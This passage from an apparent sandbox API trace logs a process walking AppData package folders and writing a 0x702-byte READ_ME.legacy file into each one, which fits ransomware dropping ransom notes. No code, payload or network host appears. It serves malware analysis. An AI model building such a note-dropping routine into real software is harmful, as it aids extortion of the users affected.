ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xebf2fc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe381ca5f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e908 [0154.245] FindNextFileW (in: hFindFile=0x61e908, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebee37c7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xebf2fc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe381ca5f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.245] FindNextFileW (in: hFindFile=0x61e908, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebf2fc88, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xebf2fc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xebf2fc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.245] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.3_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.3_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0 [0154.256] WriteFile (in: hFile=0x8a0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.257] CloseHandle (hObject=0x8a0) returned 1 [0154.257] FindNextFileW (in: hFindFile=0x61e908, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe381ca5f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe381ca5f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe381ca5f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.257] FindNextFileW (in: hFindFile=0x61e908, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe381ca5f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe381ca5f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe381ca5f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0154.257] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x266a19e6, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x34036ffb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe3842cac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e948 [0154.257] FindNextFileW (in: hFindFile=0x61e948, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x266a19e6, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x34036ffb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe3842cac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.257] FindNextFileW (in: hFindFile=0x61e948, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2690400b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x33fc4a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33fc4a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.257] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0154.260] WriteFile (in: hFile=0x8a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.261] CloseHandle (hObject=0x8a4) returned 1 [0154.261] FindNextFileW (in: hFindFile=0x61e948, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2686b7b5, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcde948f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2686b7b5, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.261] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0154.266] WriteFile (in: hFile=0x8a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.267] CloseHandle (hObject=0x8a4) returned 1 [0154.267] FindNextFileW (in: hFindFile=0x61e948, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x267acaa2, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcde95221, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x267acaa2, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.267] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0154.268] WriteFile (in: hFile=0x8a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.269] CloseHandle (hObject=0x8a4) returned 1 [0154.269] FindNextFileW (in: hFindFile=0x61e948, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2673a47b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcde95a6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2673a47b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.269] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0154.270] WriteFile (in: hFile=0x8a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.271] CloseHandle (hObject=0x8a4) returned 1 [0154.271] FindNextFileW (in: hFindFile=0x61e948, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3842cac, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3842cac, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3842cac, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.271] FindNextFileW (in: hFindFile=0x61e948, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26786872, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcde95fc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26786872, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.271] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0154.272] WriteFile (in: hFile=0x8a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.272] CloseHandle (hObject=0x8a4) returned 1 [0154.273] FindNextFileW (in: hFindFile=0x61e948, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x267acaa2, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x71259ffc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71259ffc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.273] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0154.275] WriteFile (in: hFile=0x8a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.276] CloseHandle (hObject=0x8a4) returned 1 [0154.277] FindNextFileW (in: hFindFile=0x61e948, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26786872, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcdfaccf0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26786872, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.277] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0154.277] WriteFile (in: hFile=0x8a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.278] CloseHandle (hObject=0x8a4) returned 1 [0154.278] FindNextFileW (in: hFindFile=0x61e948, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26786872, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcdfaccf0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26786872, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.278] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x34273354, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe3868ec7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e648 [0154.279] FindNextFileW (in: hFindFile=0x61e648, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x34273354, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe3868ec7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.279] FindNextFileW (in: hFindFile=0x61e648, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf235e043, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x34200da2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x34200da2, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.279] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0154.294] WriteFile (in: hFile=0x8a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.295] CloseHandle (hObject=0x8a8) returned 1 [0154.296] FindNextFileW (in: hFindFile=0x61e648, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2337e6d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce019fce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2337e6d, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.296] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0154.297] WriteFile (in: hFile=0x8a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.298] CloseHandle (hObject=0x8a8) returned 1 [0154.298] FindNextFileW (in: hFindFile=0x61e648, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf229f4ae, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce01a68a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf229f4ae, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.298] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0154.299] WriteFile (in: hFile=0x8a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.299] CloseHandle (hObject=0x8a8) returned 1 [0154.300] FindNextFileW (in: hFindFile=0x61e648, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce01abc5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2252fd4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.300] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0154.300] WriteFile (in: hFile=0x8a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.301] CloseHandle (hObject=0x8a8) returned 1 [0154.301] FindNextFileW (in: hFindFile=0x61e648, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3868ec7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3868ec7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3868ec7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.301] FindNextFileW (in: hFindFile=0x61e648, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce01b236, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2252fd4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.301] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0154.302] WriteFile (in: hFile=0x8a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.302] CloseHandle (hObject=0x8a8) returned 1 [0154.302] FindNextFileW (in: hFindFile=0x61e648, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf229f4ae, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71259ffc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71259ffc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.303] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0154.304] WriteFile (in: hFile=0x8a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.305] CloseHandle (hObject=0x8a8) returned 1 [0154.305] FindNextFileW (in: hFindFile=0x61e648, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce14611e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2252fd4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.305] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0154.307] WriteFile (in: hFile=0x8a8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, 